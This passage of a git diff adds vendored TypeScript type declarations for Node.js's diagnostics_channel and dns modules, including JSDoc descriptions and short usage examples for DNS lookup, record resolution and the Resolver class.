start channel sets the initial store data to something + * // and stores that store data value on the trace context object + * channels.start.bindStore(myStore, (data) => { + * const span = new Span(data); + * data.span = span; + * return span; + * }); + * + * // Then asyncStart can restore from that data it stored previously + * channels.asyncStart.bindStore(myStore, (data) => { + * return data.span; + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param fn callback using function to wrap a trace around + * @param position Zero-indexed argument position of expected callback + * @param context Shared object to correlate trace events through + * @param thisArg The receiver to be used for the function call + * @param args Optional arguments to pass to the function + * @return The return value of the given function + */ + traceCallback any>( + fn: Fn, + position?: number, + context?: ContextType, + thisArg?: any, + ...args: Parameters + ): void; + } +} +declare module "node:diagnostics_channel" { + export * from "diagnostics_channel"; +} diff --git a/node_modules/@types/node/dns.d.ts b/node_modules/@types/node/dns.d.ts new file mode 100644 index 000000000000..af10fd92c800 --- /dev/null +++ b/node_modules/@types/node/dns.d.ts @@ -0,0 +1,865 @@ +/** + * The `node:dns` module enables name resolution. For example, use it to look up IP + * addresses of host names. + * + * Although named for the [Domain Name System (DNS)](https://en.wikipedia.org/wiki/Domain_Name_System), it does not always use the + * DNS protocol for lookups. {@link lookup} uses the operating system + * facilities to perform name resolution. It may not need to perform any network + * communication. To perform name resolution the way other applications on the same + * system do, use {@link lookup}. + * + * ```js + * import dns from 'node:dns'; + * + * dns.lookup('example.org', (err, address, family) => { + * console.log('address: %j family: IPv%s', address, family); + * }); + * // address: "93.184.216.34" family: IPv4 + * ``` + * + * All other functions in the `node:dns` module connect to an actual DNS server to + * perform name resolution. They will always use the network to perform DNS + * queries. These functions do not use the same set of configuration files used by {@link lookup} (e.g. `/etc/hosts`). Use these functions to always perform + * DNS queries, bypassing other name-resolution facilities. + * + * ```js + * import dns from 'node:dns'; + * + * dns.resolve4('archive.org', (err, addresses) => { + * if (err) throw err; + * + * console.log(`addresses: ${JSON.stringify(addresses)}`); + * + * addresses.forEach((a) => { + * dns.reverse(a, (err, hostnames) => { + * if (err) { + * throw err; + * } + * console.log(`reverse for ${a}: ${JSON.stringify(hostnames)}`); + * }); + * }); + * }); + * ``` + * + * See the [Implementation considerations section](https://nodejs.org/docs/latest-v22.x/api/dns.html#implementation-considerations) for more information. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/dns.js) + */ +declare module "dns" { + import * as dnsPromises from "node:dns/promises"; + // Supported getaddrinfo flags. + /** + * Limits returned address types to the types of non-loopback addresses configured on the system. For example, IPv4 addresses are + * only returned if the current system has at least one IPv4 address configured. + */ + export const ADDRCONFIG: number; + /** + * If the IPv6 family was specified, but no IPv6 addresses were found, then return IPv4 mapped IPv6 addresses. It is not supported + * on some operating systems (e.g. FreeBSD 10.1). + */ + export const V4MAPPED: number; + /** + * If `dns.V4MAPPED` is specified, return resolved IPv6 addresses as + * well as IPv4 mapped IPv6 addresses. + */ + export const ALL: number; + export interface LookupOptions { + /** + * The record family. Must be `4`, `6`, or `0`. For backward compatibility reasons, `'IPv4'` and `'IPv6'` are interpreted + * as `4` and `6` respectively. The value 0 indicates that either an IPv4 or IPv6 address is returned. If the value `0` is used + * with `{ all: true } (see below)`, both IPv4 and IPv6 addresses are returned. + * @default 0 + */ + family?: number | "IPv4" | "IPv6" | undefined; + /** + * One or more [supported `getaddrinfo`](https://nodejs.org/docs/latest-v22.x/api/dns.html#supported-getaddrinfo-flags) flags. Multiple flags may be + * passed by bitwise `OR`ing their values. + */ + hints?: number | undefined; + /** + * When `true`, the callback returns all resolved addresses in an array. Otherwise, returns a single address. + * @default false + */ + all?: boolean | undefined; + /** + * When `verbatim`, the resolved addresses are return unsorted. When `ipv4first`, the resolved addresses are sorted + * by placing IPv4 addresses before IPv6 addresses. When `ipv6first`, the resolved addresses are sorted by placing IPv6 + * addresses before IPv4 addresses. Default value is configurable using + * {@link setDefaultResultOrder} or [`--dns-result-order`](https://nodejs.org/docs/latest-v22.x/api/cli.html#--dns-result-orderorder). + * @default `verbatim` (addresses are not reordered) + * @since v22.1.0 + */ + order?: "ipv4first" | "ipv6first" | "verbatim" | undefined; + /** + * When `true`, the callback receives IPv4 and IPv6 addresses in the order the DNS resolver returned them. When `false`, IPv4 + * addresses are placed before IPv6 addresses. This option will be deprecated in favor of `order`. When both are specified, + * `order` has higher precedence. New code should only use `order`. Default value is configurable using {@link setDefaultResultOrder} + * @default true (addresses are not reordered) + * @deprecated Please use `order` option + */ + verbatim?: boolean | undefined; + } + export interface LookupOneOptions extends LookupOptions { + all?: false | undefined; + } + export interface LookupAllOptions extends LookupOptions { + all: true; + } + export interface LookupAddress { + /** + * A string representation of an IPv4 or IPv6 address. + */ + address: string; + /** + * `4` or `6`, denoting the family of `address`, or `0` if the address is not an IPv4 or IPv6 address. `0` is a likely indicator of a + * bug in the name resolution service used by the operating system. + */ + family: number; + } + /** + * Resolves a host name (e.g. `'nodejs.org'`) into the first found A (IPv4) or + * AAAA (IPv6) record. All `option` properties are optional. If `options` is an + * integer, then it must be `4` or `6` – if `options` is `0` or not provided, then + * IPv4 and IPv6 addresses are both returned if found. + * + * With the `all` option set to `true`, the arguments for `callback` change to `(err, addresses)`, with `addresses` being an array of objects with the + * properties `address` and `family`. + * + * On error, `err` is an `Error` object, where `err.code` is the error code. + * Keep in mind that `err.code` will be set to `'ENOTFOUND'` not only when + * the host name does not exist but also when the lookup fails in other ways + * such as no available file descriptors. + * + * `dns.lookup()` does not necessarily have anything to do with the DNS protocol. + * The implementation uses an operating system facility that can associate names + * with addresses and vice versa. This implementation can have subtle but + * important consequences on the behavior of any Node.js program. Please take some + * time to consult the [Implementation considerations section](https://nodejs.org/docs/latest-v22.x/api/dns.html#implementation-considerations) + * before using `dns.lookup()`. + * + * Example usage: + * + * ```js + * import dns from 'node:dns'; + * const options = { + * family: 6, + * hints: dns.ADDRCONFIG | dns.V4MAPPED, + * }; + * dns.lookup('example.com', options, (err, address, family) => + * console.log('address: %j family: IPv%s', address, family)); + * // address: "2606:2800:220:1:248:1893:25c8:1946" family: IPv6 + * + * // When options.all is true, the result will be an Array. + * options.all = true; + * dns.lookup('example.com', options, (err, addresses) => + * console.log('addresses: %j', addresses)); + * // addresses: [{"address":"2606:2800:220:1:248:1893:25c8:1946","family":6}] + * ``` + * + * If this method is invoked as its [util.promisify()](https://nodejs.org/docs/latest-v22.x/api/util.html#utilpromisifyoriginal) ed + * version, and `all` is not set to `true`, it returns a `Promise` for an `Object` with `address` and `family` properties. + * @since v0.1.90 + */ + export function lookup( + hostname: string, + family: number, + callback: (err: NodeJS.ErrnoException | null, address: string, family: number) => void, + ): void; + export function lookup( + hostname: string, + options: LookupOneOptions, + callback: (err: NodeJS.ErrnoException | null, address: string, family: number) => void, + ): void; + export function lookup( + hostname: string, + options: LookupAllOptions, + callback: (err: NodeJS.ErrnoException | null, addresses: LookupAddress[]) => void, + ): void; + export function lookup( + hostname: string, + options: LookupOptions, + callback: (err: NodeJS.ErrnoException | null, address: string | LookupAddress[], family: number) => void, + ): void; + export function lookup( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, address: string, family: number) => void, + ): void; + export namespace lookup { + function __promisify__(hostname: string, options: LookupAllOptions): Promise; + function __promisify__(hostname: string, options?: LookupOneOptions | number): Promise; + function __promisify__(hostname: string, options: LookupOptions): Promise; + } + /** + * Resolves the given `address` and `port` into a host name and service using + * the operating system's underlying `getnameinfo` implementation. + * + * If `address` is not a valid IP address, a `TypeError` will be thrown. + * The `port` will be coerced to a number. If it is not a legal port, a `TypeError` will be thrown. + * + * On an error, `err` is an [`Error`](https://nodejs.org/docs/latest-v22.x/api/errors.html#class-error) object, + * where `err.code` is the error code. + * + * ```js + * import dns from 'node:dns'; + * dns.lookupService('127.0.0.1', 22, (err, hostname, service) => { + * console.log(hostname, service); + * // Prints: localhost ssh + * }); + * ``` + * + * If this method is invoked as its [util.promisify()](https://nodejs.org/docs/latest-v22.x/api/util.html#utilpromisifyoriginal) ed + * version, it returns a `Promise` for an `Object` with `hostname` and `service` properties. + * @since v0.11.14 + */ + export function lookupService( + address: string, + port: number, + callback: (err: NodeJS.ErrnoException | null, hostname: string, service: string) => void, + ): void; + export namespace lookupService { + function __promisify__( + address: string, + port: number, + ): Promise<{ + hostname: string; + service: string; + }>; + } + export interface ResolveOptions { + ttl: boolean; + } + export interface ResolveWithTtlOptions extends ResolveOptions { + ttl: true; + } + export interface RecordWithTtl { + address: string; + ttl: number; + } + /** @deprecated Use `AnyARecord` or `AnyAaaaRecord` instead. */ + export type AnyRecordWithTtl = AnyARecord | AnyAaaaRecord; + export interface AnyARecord extends RecordWithTtl { + type: "A"; + } + export interface AnyAaaaRecord extends RecordWithTtl { + type: "AAAA"; + } + export interface CaaRecord { + critical: number; + issue?: string | undefined; + issuewild?: string | undefined; + iodef?: string | undefined; + contactemail?: string | undefined; + contactphone?: string | undefined; + } + export interface MxRecord { + priority: number; + exchange: string; + } + export interface AnyMxRecord extends MxRecord { + type: "MX"; + } + export interface NaptrRecord { + flags: string; + service: string; + regexp: string; + replacement: string; + order: number; + preference: number; + } + export interface AnyNaptrRecord extends NaptrRecord { + type: "NAPTR"; + } + export interface SoaRecord { + nsname: string; + hostmaster: string; + serial: number; + refresh: number; + retry: number; + expire: number; + minttl: number; + } + export interface AnySoaRecord extends SoaRecord { + type: "SOA"; + } + export interface SrvRecord { + priority: number; + weight: number; + port: number; + name: string; + } + export interface AnySrvRecord extends SrvRecord { + type: "SRV"; + } + export interface AnyTxtRecord { + type: "TXT"; + entries: string[]; + } + export interface AnyNsRecord { + type: "NS"; + value: string; + } + export interface AnyPtrRecord { + type: "PTR"; + value: string; + } + export interface AnyCnameRecord { + type: "CNAME"; + value: string; + } + export type AnyRecord = + | AnyARecord + | AnyAaaaRecord + | AnyCnameRecord + | AnyMxRecord + | AnyNaptrRecord + | AnyNsRecord + | AnyPtrRecord + | AnySoaRecord + | AnySrvRecord + | AnyTxtRecord; + /** + * Uses the DNS protocol to resolve a host name (e.g. `'nodejs.org'`) into an array + * of the resource records. The `callback` function has arguments `(err, records)`. When successful, `records` will be an array of resource + * records. The type and structure of individual results varies based on `rrtype`: + * + * + * + * On error, `err` is an [`Error`](https://nodejs.org/docs/latest-v22.x/api/errors.html#class-error) object, + * where `err.code` is one of the `DNS error codes`. + * @since v0.1.27 + * @param hostname Host name to resolve. + * @param [rrtype='A'] Resource record type. + */ + export function resolve( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "A", + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "AAAA", + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "ANY", + callback: (err: NodeJS.ErrnoException | null, addresses: AnyRecord[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "CNAME", + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "MX", + callback: (err: NodeJS.ErrnoException | null, addresses: MxRecord[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "NAPTR", + callback: (err: NodeJS.ErrnoException | null, addresses: NaptrRecord[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "NS", + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "PTR", + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "SOA", + callback: (err: NodeJS.ErrnoException | null, addresses: SoaRecord) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "SRV", + callback: (err: NodeJS.ErrnoException | null, addresses: SrvRecord[]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: "TXT", + callback: (err: NodeJS.ErrnoException | null, addresses: string[][]) => void, + ): void; + export function resolve( + hostname: string, + rrtype: string, + callback: ( + err: NodeJS.ErrnoException | null, + addresses: string[] | MxRecord[] | NaptrRecord[] | SoaRecord | SrvRecord[] | string[][] | AnyRecord[], + ) => void, + ): void; + export namespace resolve { + function __promisify__(hostname: string, rrtype?: "A" | "AAAA" | "CNAME" | "NS" | "PTR"): Promise; + function __promisify__(hostname: string, rrtype: "ANY"): Promise; + function __promisify__(hostname: string, rrtype: "MX"): Promise; + function __promisify__(hostname: string, rrtype: "NAPTR"): Promise; + function __promisify__(hostname: string, rrtype: "SOA"): Promise; + function __promisify__(hostname: string, rrtype: "SRV"): Promise; + function __promisify__(hostname: string, rrtype: "TXT"): Promise; + function __promisify__( + hostname: string, + rrtype: string, + ): Promise; + } + /** + * Uses the DNS protocol to resolve a IPv4 addresses (`A` records) for the `hostname`. The `addresses` argument passed to the `callback` function + * will contain an array of IPv4 addresses (e.g.`['74.125.79.104', '74.125.79.105', '74.125.79.106']`). + * @since v0.1.16 + * @param hostname Host name to resolve. + */ + export function resolve4( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve4( + hostname: string, + options: ResolveWithTtlOptions, + callback: (err: NodeJS.ErrnoException | null, addresses: RecordWithTtl[]) => void, + ): void; + export function resolve4( + hostname: string, + options: ResolveOptions, + callback: (err: NodeJS.ErrnoException | null, addresses: string[] | RecordWithTtl[]) => void, + ): void; + export namespace resolve4 { + function __promisify__(hostname: string): Promise; + function __promisify__(hostname: string, options: ResolveWithTtlOptions): Promise; + function __promisify__(hostname: string, options?: ResolveOptions): Promise; + } + /** + * Uses the DNS protocol to resolve IPv6 addresses (`AAAA` records) for the `hostname`. The `addresses` argument passed to the `callback` function + * will contain an array of IPv6 addresses. + * @since v0.1.16 + * @param hostname Host name to resolve. + */ + export function resolve6( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export function resolve6( + hostname: string, + options: ResolveWithTtlOptions, + callback: (err: NodeJS.ErrnoException | null, addresses: RecordWithTtl[]) => void, + ): void; + export function resolve6( + hostname: string, + options: ResolveOptions, + callback: (err: NodeJS.ErrnoException | null, addresses: string[] | RecordWithTtl[]) => void, + ): void; + export namespace resolve6 { + function __promisify__(hostname: string): Promise; + function __promisify__(hostname: string, options: ResolveWithTtlOptions): Promise; + function __promisify__(hostname: string, options?: ResolveOptions): Promise; + } + /** + * Uses the DNS protocol to resolve `CNAME` records for the `hostname`. The `addresses` argument passed to the `callback` function + * will contain an array of canonical name records available for the `hostname` (e.g. `['bar.example.com']`). + * @since v0.3.2 + */ + export function resolveCname( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export namespace resolveCname { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve `CAA` records for the `hostname`. The `addresses` argument passed to the `callback` function + * will contain an array of certification authority authorization records + * available for the `hostname` (e.g. `[{critical: 0, iodef: 'mailto:pki@example.com'}, {critical: 128, issue: 'pki.example.com'}]`). + * @since v15.0.0, v14.17.0 + */ + export function resolveCaa( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, records: CaaRecord[]) => void, + ): void; + export namespace resolveCaa { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve mail exchange records (`MX` records) for the `hostname`. The `addresses` argument passed to the `callback` function will + * contain an array of objects containing both a `priority` and `exchange` property (e.g. `[{priority: 10, exchange: 'mx.example.com'}, ...]`). + * @since v0.1.27 + */ + export function resolveMx( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: MxRecord[]) => void, + ): void; + export namespace resolveMx { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve regular expression-based records (`NAPTR` records) for the `hostname`. The `addresses` argument passed to the `callback` function will contain an array of + * objects with the following properties: + * + * * `flags` + * * `service` + * * `regexp` + * * `replacement` + * * `order` + * * `preference` + * + * ```js + * { + * flags: 's', + * service: 'SIP+D2U', + * regexp: '', + * replacement: '_sip._udp.example.com', + * order: 30, + * preference: 100 + * } + * ``` + * @since v0.9.12 + */ + export function resolveNaptr( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: NaptrRecord[]) => void, + ): void; + export namespace resolveNaptr { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve name server records (`NS` records) for the `hostname`. The `addresses` argument passed to the `callback` function will + * contain an array of name server records available for `hostname` (e.g. `['ns1.example.com', 'ns2.example.com']`). + * @since v0.1.90 + */ + export function resolveNs( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export namespace resolveNs { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve pointer records (`PTR` records) for the `hostname`. The `addresses` argument passed to the `callback` function will + * be an array of strings containing the reply records. + * @since v6.0.0 + */ + export function resolvePtr( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: string[]) => void, + ): void; + export namespace resolvePtr { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve a start of authority record (`SOA` record) for + * the `hostname`. The `address` argument passed to the `callback` function will + * be an object with the following properties: + * + * * `nsname` + * * `hostmaster` + * * `serial` + * * `refresh` + * * `retry` + * * `expire` + * * `minttl` + * + * ```js + * { + * nsname: 'ns.example.com', + * hostmaster: 'root.example.com', + * serial: 2013101809, + * refresh: 10000, + * retry: 2400, + * expire: 604800, + * minttl: 3600 + * } + * ``` + * @since v0.11.10 + */ + export function resolveSoa( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, address: SoaRecord) => void, + ): void; + export namespace resolveSoa { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve service records (`SRV` records) for the `hostname`. The `addresses` argument passed to the `callback` function will + * be an array of objects with the following properties: + * + * * `priority` + * * `weight` + * * `port` + * * `name` + * + * ```js + * { + * priority: 10, + * weight: 5, + * port: 21223, + * name: 'service.example.com' + * } + * ``` + * @since v0.1.27 + */ + export function resolveSrv( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: SrvRecord[]) => void, + ): void; + export namespace resolveSrv { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve text queries (`TXT` records) for the `hostname`. The `records` argument passed to the `callback` function is a + * two-dimensional array of the text records available for `hostname` (e.g.`[ ['v=spf1 ip4:0.0.0.0 ', '~all' ] ]`). Each sub-array contains TXT chunks of + * one record. Depending on the use case, these could be either joined together or + * treated separately. + * @since v0.1.27 + */ + export function resolveTxt( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: string[][]) => void, + ): void; + export namespace resolveTxt { + function __promisify__(hostname: string): Promise; + } + /** + * Uses the DNS protocol to resolve all records (also known as `ANY` or `*` query). + * The `ret` argument passed to the `callback` function will be an array containing + * various types of records. Each object has a property `type` that indicates the + * type of the current record. And depending on the `type`, additional properties + * will be present on the object: + * + * + * + * Here is an example of the `ret` object passed to the callback: + * + * ```js + * [ { type: 'A', address: '127.0.0.1', ttl: 299 }, + * { type: 'CNAME', value: 'example.com' }, + * { type: 'MX', exchange: 'alt4.aspmx.l.example.com', priority: 50 }, + * { type: 'NS', value: 'ns1.example.com' }, + * { type: 'TXT', entries: [ 'v=spf1 include:_spf.example.com ~all' ] }, + * { type: 'SOA', + * nsname: 'ns1.example.com', + * hostmaster: 'admin.example.com', + * serial: 156696742, + * refresh: 900, + * retry: 900, + * expire: 1800, + * minttl: 60 } ] + * ``` + * + * DNS server operators may choose not to respond to `ANY` queries. It may be better to call individual methods like {@link resolve4}, {@link resolveMx}, and so on. For more details, see + * [RFC 8482](https://tools.ietf.org/html/rfc8482). + */ + export function resolveAny( + hostname: string, + callback: (err: NodeJS.ErrnoException | null, addresses: AnyRecord[]) => void, + ): void; + export namespace resolveAny { + function __promisify__(hostname: string): Promise; + } + /** + * Performs a reverse DNS query that resolves an IPv4 or IPv6 address to an + * array of host names. + * + * On error, `err` is an [`Error`](https://nodejs.org/docs/latest-v22.x/api/errors.html#class-error) object, where `err.code` is + * one of the [DNS error codes](https://nodejs.org/docs/latest-v22.x/api/dns.html#error-codes). + * @since v0.1.16 + */ + export function reverse( + ip: string, + callback: (err: NodeJS.ErrnoException | null, hostnames: string[]) => void, + ): void; + /** + * Get the default value for `order` in {@link lookup} and [`dnsPromises.lookup()`](https://nodejs.org/docs/latest-v22.x/api/dns.html#dnspromiseslookuphostname-options). + * The value could be: + * + * * `ipv4first`: for `order` defaulting to `ipv4first`. + * * `ipv6first`: for `order` defaulting to `ipv6first`. + * * `verbatim`: for `order` defaulting to `verbatim`. + * @since v18.17.0 + */ + export function getDefaultResultOrder(): "ipv4first" | "ipv6first" | "verbatim"; + /** + * Sets the IP address and port of servers to be used when performing DNS + * resolution. The `servers` argument is an array of [RFC 5952](https://tools.ietf.org/html/rfc5952#section-6) formatted + * addresses. If the port is the IANA default DNS port (53) it can be omitted. + * + * ```js + * dns.setServers([ + * '4.4.4.4', + * '[2001:4860:4860::8888]', + * '4.4.4.4:1053', + * '[2001:4860:4860::8888]:1053', + * ]); + * ``` + * + * An error will be thrown if an invalid address is provided. + * + * The `dns.setServers()` method must not be called while a DNS query is in + * progress. + * + * The {@link setServers} method affects only {@link resolve}, `dns.resolve*()` and {@link reverse} (and specifically _not_ {@link lookup}). + * + * This method works much like [resolve.conf](https://man7.org/linux/man-pages/man5/resolv.conf.5.html). + * That is, if attempting to resolve with the first server provided results in a `NOTFOUND` error, the `resolve()` method will _not_ attempt to resolve with + * subsequent servers provided. Fallback DNS servers will only be used if the + * earlier ones time out or result in some other error. + * @since v0.11.3 + * @param servers array of [RFC 5952](https://datatracker.ietf.org/doc/html/rfc5952#section-6) formatted addresses + */ + export function setServers(servers: readonly string[]): void; + /** + * Returns an array of IP address strings, formatted according to [RFC 5952](https://tools.ietf.org/html/rfc5952#section-6), + * that are currently configured for DNS resolution. A string will include a port + * section if a custom port is used. + * + * ```js + * [ + * '4.4.4.4', + * '2001:4860:4860::8888', + * '4.4.4.4:1053', + * '[2001:4860:4860::8888]:1053', + * ] + * ``` + * @since v0.11.3 + */ + export function getServers(): string[]; + /** + * Set the default value of `order` in {@link lookup} and [`dnsPromises.lookup()`](https://nodejs.org/docs/latest-v22.x/api/dns.html#dnspromiseslookuphostname-options). + * The value could be: + * + * * `ipv4first`: sets default `order` to `ipv4first`. + * * `ipv6first`: sets default `order` to `ipv6first`. + * * `verbatim`: sets default `order` to `verbatim`. + * + * The default is `verbatim` and {@link setDefaultResultOrder} have higher + * priority than [`--dns-result-order`](https://nodejs.org/docs/latest-v22.x/api/cli.html#--dns-result-orderorder). When using + * [worker threads](https://nodejs.org/docs/latest-v22.x/api/worker_threads.html), {@link setDefaultResultOrder} from the main + * thread won't affect the default dns orders in workers. + * @since v16.4.0, v14.18.0 + * @param order must be `'ipv4first'`, `'ipv6first'` or `'verbatim'`. + */ + export function setDefaultResultOrder(order: "ipv4first" | "ipv6first" | "verbatim"): void; + // Error codes + export const NODATA: "ENODATA"; + export const FORMERR: "EFORMERR"; + export const SERVFAIL: "ESERVFAIL"; + export const NOTFOUND: "ENOTFOUND"; + export const NOTIMP: "ENOTIMP"; + export const REFUSED: "EREFUSED"; + export const BADQUERY: "EBADQUERY"; + export const BADNAME: "EBADNAME"; + export const BADFAMILY: "EBADFAMILY"; + export const BADRESP: "EBADRESP"; + export const CONNREFUSED: "ECONNREFUSED"; + export const TIMEOUT: "ETIMEOUT"; + export const EOF: "EOF"; + export const FILE: "EFILE"; + export const NOMEM: "ENOMEM"; + export const DESTRUCTION: "EDESTRUCTION"; + export const BADSTR: "EBADSTR"; + export const BADFLAGS: "EBADFLAGS"; + export const NONAME: "ENONAME"; + export const BADHINTS: "EBADHINTS"; + export const NOTINITIALIZED: "ENOTINITIALIZED"; + export const LOADIPHLPAPI: "ELOADIPHLPAPI"; + export const ADDRGETNETWORKPARAMS: "EADDRGETNETWORKPARAMS"; + export const CANCELLED: "ECANCELLED"; + export interface ResolverOptions { + /** + * Query timeout in milliseconds, or `-1` to use the default timeout. + */ + timeout?: number | undefined; + /** + * The number of tries the resolver will try contacting each name server before giving up. + * @default 4 + */ + tries?: number; + } + /** + * An independent resolver for DNS requests. + * + * Creating a new resolver uses the default server settings. Setting + * the servers used for a resolver using [`resolver.setServers()`](https://nodejs.org/docs/latest-v22.x/api/dns.html#dnssetserversservers) does not affect + * other resolvers: + * + * ```js + * import { Resolver } from 'node:dns'; + * const resolver = new Resolver(); + * resolver.setServers(['4.4.4.4']); + * + * // This request will use the server at 4.4.4.4, independent of global settings. + * resolver.resolve4('example.org', (err, addresses) => { + * // ... + * }); + * ``` + * + * The following methods from the `node:dns` module are available: + * + * * `resolver.getServers()` + * * `resolver.resolve()` + * * `resolver.resolve4()` + * * `resolver.resolve6()` + * * `resolver.resolveAny()` + * * `resolver.resolveCaa()` + * * `resolver.resolveCname()` + * * `resolver.resolveMx()` + * * `resolver.resolveNaptr()` + * * `resolver.resolveNs()` + * * `resolver.resolvePtr()` + * * `resolver.resolveSoa()` + * * `resolver.resolveSrv()` + * * `resolver.resolveTxt()` + * * `resolver.reverse()` + * * `resolver.setServers()` + * @since v8.3.0 + */ + export class Resolver { + constructor(options?: ResolverOptions); + /** + * Cancel all outstanding DNS queries made by this resolver. The corresponding + * callbacks will be called with an error with code `ECANCELLED`. + * @since v8.3.0 + */ + cancel(): void; + getServers: typeof getServers; + resolve: typeof resolve; + resolve4: typeof resolve4; + resolve6: typeof resolve6; + resolveAny: typeof resolveAny; + resolveCaa: typeof resolveCaa; + resolveCname: typeof resolveCname; + resolveMx: typeof resolveMx; + resolveNaptr: typeof resolveNaptr; + resolveNs: typeof resolveNs; + resolvePtr: typeof resolvePtr; + resolveSoa: typeof resolveSoa; + resolveSrv: typeof resolveSrv; + resolveTxt: typeof resolveTxt; + reverse: typeof reverse; + /** + * The resolver instance will send its requests from the specified IP address. + * This allows programs to specify outbound interfaces when used on multi-homed + * systems. + * + * If a v4 or v6 address is not specified, it is set to the default and the + * operating system will choose a local address automatically. + * + * The resolver will use the v4 local address when making requests to IPv4 DNS + * servers, and the v6 local address when making requests to IPv6 DNS servers. + * The `rrtype` of resolution requests has no impact on the local address used. + * @since v15.1.0, v14.17.0 + * @param [ipv4='0.0.0.0'] A string representation of an IPv4 address. + * @param [ipv6='::0'] A string representation of an IPv6 address. + */ + setLocalAddress(ipv4?: string, ipv6?: string): void; + setServers: typeof setServers; + } + export { dnsPromises as promises }; +} +declare module "node:dns" { + export * from "dns"; +} diff --git a/node_modules/@types/node/dns/promises.d.ts b/node_modules/@types/node/dns/promises.d.ts new file mode 100644 index 000000000000..2b5dff02a08d --- /dev/null +++ b/node_modules/@types/node/dns/promises.d.ts @@ -0,0 +1,476 @@ +/** + * The `dns.promises` API provides an alternative set of asynchronous DNS methods + * that return `Promise` objects rather than using callbacks. The API is accessible + * via `import { promises as dnsPromises } from 'node:dns'` or `import dnsPromises from 'node:dns/promises'`. + * @since v10.6.0 + */ +declare module "dns/promises" { + import { + AnyRecord, + CaaRecord, + LookupAddress, + LookupAllOptions, + LookupOneOptions, + LookupOptions, + MxRecord, + NaptrRecord, + RecordWithTtl, + ResolveOptions, + ResolverOptions, + ResolveWithTtlOptions, + SoaRecord, + SrvRecord, + } from "node:dns"; + /** + * Returns an array of IP address strings, formatted according to [RFC 5952](https://tools.ietf.org/html/rfc5952#section-6), + * that are currently configured for DNS resolution. A string will include a port + * section if a custom port is used. + * + * ```js + * [ + * '4.4.4.4', + * '2001:4860:4860::8888', + * '4.4.4.4:1053', + * '[2001:4860:4860::8888]:1053', + * ] + * ``` + * @since v10.6.0 + */ + function getServers(): string[]; + /** + * Resolves a host name (e.g. `'nodejs.org'`) into the first found A (IPv4) or + * AAAA (IPv6) record. All `option` properties are optional. If `options` is an + * integer, then it must be `4` or `6` – if `options` is not provided, then IPv4 + * and IPv6 addresses are both returned if found. + * + * With the `all` option set to `true`, the `Promise` is resolved with `addresses` being an array of objects with the properties `address` and `family`. + * + * On error, the `Promise` is rejected with an [`Error`](https://nodejs.org/docs/latest-v20.x/api/errors.html#class-error) object, where `err.code` is the error code. + * Keep in mind that `err.code` will be set to `'ENOTFOUND'` not only when + * the host name does not exist but also when the lookup fails in other ways + * such as no available file descriptors. + * + * [`dnsPromises.lookup()`](https://nodejs.org/docs/latest-v20.x/api/dns.html#dnspromiseslookuphostname-options) does not necessarily have anything to do with the DNS + * protocol. The implementation uses an operating system facility that can + * associate names with addresses and vice versa. This implementation can have + * subtle but important consequences on the behavior of any Node.js program. Please + * take some time to consult the [Implementation considerations section](https://nodejs.org/docs/latest-v20.x/api/dns.html#implementation-considerations) before + * using `dnsPromises.lookup()`. + * + * Example usage: + * + * ```js + * import dns from 'node:dns'; + * const dnsPromises = dns.promises; + * const options = { + * family: 6, + * hints: dns.ADDRCONFIG | dns.V4MAPPED, + * }; + * + * dnsPromises.lookup('example.com', options).then((result) => { + * console.log('address: %j family: IPv%s', result.address, result.family); + * // address: "2606:2800:220:1:248:1893:25c8:1946" family: IPv6 + * }); + * + * // When options.all is true, the result will be an Array. + * options.all = true; + * dnsPromises.lookup('example.com', options).then((result) => { + * console.log('addresses: %j', result); + * // addresses: [{"address":"2606:2800:220:1:248:1893:25c8:1946","family":6}] + * }); + * ``` + * @since v10.6.0 + */ + function lookup(hostname: string, family: number): Promise; + function lookup(hostname: string, options: LookupOneOptions): Promise; + function lookup(hostname: string, options: LookupAllOptions): Promise; + function lookup(hostname: string, options: LookupOptions): Promise; + function lookup(hostname: string): Promise; + /** + * Resolves the given `address` and `port` into a host name and service using + * the operating system's underlying `getnameinfo` implementation. + * + * If `address` is not a valid IP address, a `TypeError` will be thrown. + * The `port` will be coerced to a number. If it is not a legal port, a `TypeError` will be thrown. + * + * On error, the 